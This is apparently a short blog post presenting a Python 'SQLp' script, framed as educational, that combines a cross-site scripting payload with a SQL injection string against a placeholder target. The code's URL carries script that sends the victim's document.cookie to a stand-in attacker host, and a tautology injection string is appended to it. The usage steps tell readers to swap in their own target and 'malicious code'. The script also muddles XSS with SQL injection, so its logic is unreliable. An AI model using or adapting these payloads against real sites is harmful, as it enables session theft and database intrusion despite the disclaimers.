SQLp — SQL XSS Exploit Script Example for Educational Purposes

TH3B4ND1T
System Weakness
Published in
2 min readFeb 20, 2024

--

RedTeam Scripts by Volkan Sah — Simple codings for ‘Offensive Security’ (Updated for 2023)

RedTeam (Black-Python-Script)

This Python script demonstrates a basic example of a Cross-Site Scripting (XSS) exploit strictly for educational purposes and ethical hacking. It’s crucial to use this script responsibly, solely for learning and comprehending the security implications of XSS attacks. Under no circumstances should it be utilized for illegal or unethical activities.

Warning:

This script is solely for educational and ethical purposes. The author does not endorse illegal activities and cannot be held responsible for any misuse. Always use the extracted data responsibly and in compliance with the law.

This script is part of a larger collection and should be used with caution. It operates as a Black-Python-Script, potentially compromising the SQL Database of a website. If used irresponsibly, the user may be liable for any damages incurred.

Prerequisites:

  • Python 3.x
  • Requests library (can be installed using pip)

Usage:

  1. Clone the repository or download the script to your local machine.
  2. Install the required dependencies using pip if not already installed:
  • Copy code
  • pip install requests
  1. Modify the url variable in the script to the URL of the target website that you have permission to test. Customize the payload variable with the SQL injection code or other malicious code as desired.
  2. Run the script using Python 3:
  • Copy code
  • python3 sqlpay_xss.py

Example code:

pythonCopy code
# Import necessary library
import requests
# The URL of the vulnerable website & attacker
url = "http://vulnerable-website.tld/login?username=<script>document.location='http://attacker.tld/log?cookie='+document.cookie;</script>"
# Example payload to inject SQL code, set to your needs
payload = "' OR 'a'='a';--"
# The final URL with the injected SQL code
url_with_injected_sql = url + payload
# Send the malicious request
response = requests.get(url_with_injected_sql)
# Print the response
print(response.text)

The script sends a request to the target URL with the injected SQL code, and the response is printed to the console.

Disclaimer:

This script is strictly for educational purposes and should not be used for illegal, unethical, or malicious activities. Always ensure proper authorization before conducting security testing or penetration testing on any website or system. The creator of this script is not liable for any misuse or damages resulting from its use.

Issues:

Issues related to this script are not accepted as it’s intended for educational purposes only and not for production use.

Copyright:

VolkanSah on Github

License:

This project is licensed under the MIT License — see the LICENSE file for details.

--

--